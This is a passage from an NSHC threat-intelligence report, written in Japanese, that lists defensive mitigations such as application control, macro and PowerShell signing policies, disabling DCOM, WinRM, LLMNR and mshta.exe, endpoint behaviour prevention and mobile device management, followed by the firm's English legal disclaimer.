3) アプリケーション確認及びサンドボックス(Application Isolation and 

Sandboxing) 

すでにハッキンググループが奪取した権限及び資格証明を通じてほかのプロセス及びシステムに

アクセスすることを制限するため、アプリケーション隔離及びサンドボックスの使用の検討が必

要 

 

4) 実行防止 (Execution Prevention) 

システムからマルウェアの実行を防ぐため、実行ファイル及びスクリプト実行のコントロールの

検討が必要 

 

- 信頼できないファイルの実行を防止し、マルウェアの識別及びブロックするため、Windows

アプリケーションのコントロールツールの使用の検討が必要 

- ファイルが実行されるように許容するか、拒否するルールを作り、このファイルが実行でき

るユーザー及びグループを指定できる Windows のアップロッカー(AppLocker)の使用の検

討が必要 

 

5) 機能の無効化及びプログラムの削除 (Disable or Remove Feature or 
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Program) 

攻撃者の濫用を事前に防ぐため、潜在的に脅威となる恐れがある機能の無効化及びプログラムの

削除の検討が必要 

 

- Windows のシステムにインストールされている MS Office のセキュリティ設定の中、「マ

クロ設定」を「すべてのマクロを表示しない(通知表示)」の基本設定を変更できなくして、

アクティブディレクトリ(Active Directory)から GPO Group Policy Object)の設定の上、配

布する検討が必要 

 

 

 

- DCOM(Distributed Component Object Model)の無効化の検討が必要 

- 特定のシステムから MSHTA.exe が起動しないように検討が必要 

- WinRM(Windows Remote Management)サービスの無効化の検討が必要 

- 不要な自動実行機能の無効化の検討が必要 

- ローカルパソコンのセキュリティ設定及びグループ政策から LLMNR(Link-Local Multicast 

Name Resolution)及びネットバイオス(NetBIOS)の無効化の検討が必要 

- ローカルパソコンのセキュリティ設定及びグループ政策から LLMNR(Link-Local Multicast 

Name Resolution)及びネットバイオス(NetBIOS)の無効化の検討が必要 

- PHP の eval()のようなウェブ技術の特定した関数を無効化する検討が必要 

 

6) コード署名 (Code Signing) 

信頼できないファイルの実行を防ぐため、コード署名情報を確認する政策設定の検討が必要 

 

- 署名済みではないスクリプトの実行を防ぐパワーシェル(PowerShell)の政策設定の検討が必

要 

- 署名済みではないファイルの実行を防ぐ政策設定の検討が必要 

- 署名済みではないサービスドライバーの登録及び実行を防ぐ政策設定の検討が必要 

 

7) アンチウイルス (Antivirus) 

マルウェアのダウンロード及び実行を通じたサイバー脅威を防止するため、これを探知しつつブ

ロックできるアンチウイルス(Antivirus)の使用の検討が必要 
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- マルウェアのダウンロード及び実行の対応のため、ホスト型侵入防止システム(HIPS, Host 

Intrusion Prevention System)及びアンチウイルス(Anti Virus)などのソリューション使用

の検討が必要 

 

8) エンドポイントからの行為を防止 (Behavior Prevention on Endpoint) 

エンドポイント(EndPoint)から潜在的な脅威になりやすい悪性行為が発生しないよう、事前に防

止するために行為防止(Behavior Prevention)機能使用の検討が必要 

 

- 信頼できないファイルの実行を防止するため、ASR(Attack Surface 

Reduction)ルールの有効化の検討が必要 

- ファイルの署名が一致しないなど、潜在的な脅威になりやすいファイルを識別及び探知でき

るエンドポイント(EndPoint)ソリューション使用の検討が必要 

- プロセスインジェクション(Process 

Injection)のような攻撃技術を探知及びブロックするため、行為防止(Behavior 

Prevention)機能使用の検討が必要 

 

9) ハードウェア設置の制限 (Limit Hardware Installation) 

USB デバイス及びリムーバブルメディアを含む承認済みではないハードウェアの使用を制限した

り、ブロックしたりする政策を検討 

 

- \承認済みではないハードウェアの使用を制限したり、ブロックするようにエンドポイント

のセキュリティ構成及びモニタリングエージェントの使用の検討が必要 

 

10)  企業モバイル政策 (Enterprise Policy) 

モバイルデバイスの動作をコントロールするための政策設定のため、 EMM(Enterprise Mobility 

Management)/MDM(Mobile Device Management)システムの使用の検討が必要 

 

- Android デバイスの業務文書及び内部システムのアクセスは制限付きの業務領域のみでアク

セスできるように政策設定の検討が必要 

- iOS からエンタープライズ配布用証明書で署名し、App Store ではないほかの手段から伝わ

ってきた悪性アプリケーションをユーザーがインストールできないよう、プロフィールの制

限設定の検討が必要 
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LEGAL DISCLAIMER 

 

NSHC (NSHC Pte. Ltd.) takes no responsibility for any incorrect information 

supplied to us by manufacturers or users. Quantitative market information 

is based primarily on interviews and therefore is subject to fluctuations. 

NSHC Research services are limited publications containing valuable market 

information provided to a selected group of customers. Our customers 

acknowledge, when ordering or downloading our publications 

 

NSHC Research Services are for customers’ internal use and not for general 

publication or disclosure to third parties. No part of this Research Service 

may be given, lent, resold, or disclosed to noncustomers without written 

permission. Furthermore, no part may be reproduced, stored in a retrieval 

system, or transmitted in any form or by any means, electronic, 

mechanical, photocopying, recording or otherwise, without the permission 

of the publisher. 
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license, expressed or implied. 

 

NSHC disclaims all liability for all such guaranties, warranties, and licenses, 
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merchantability; non-infringement of intellectual property or other rights of 

any third party or of NSHC. 

 


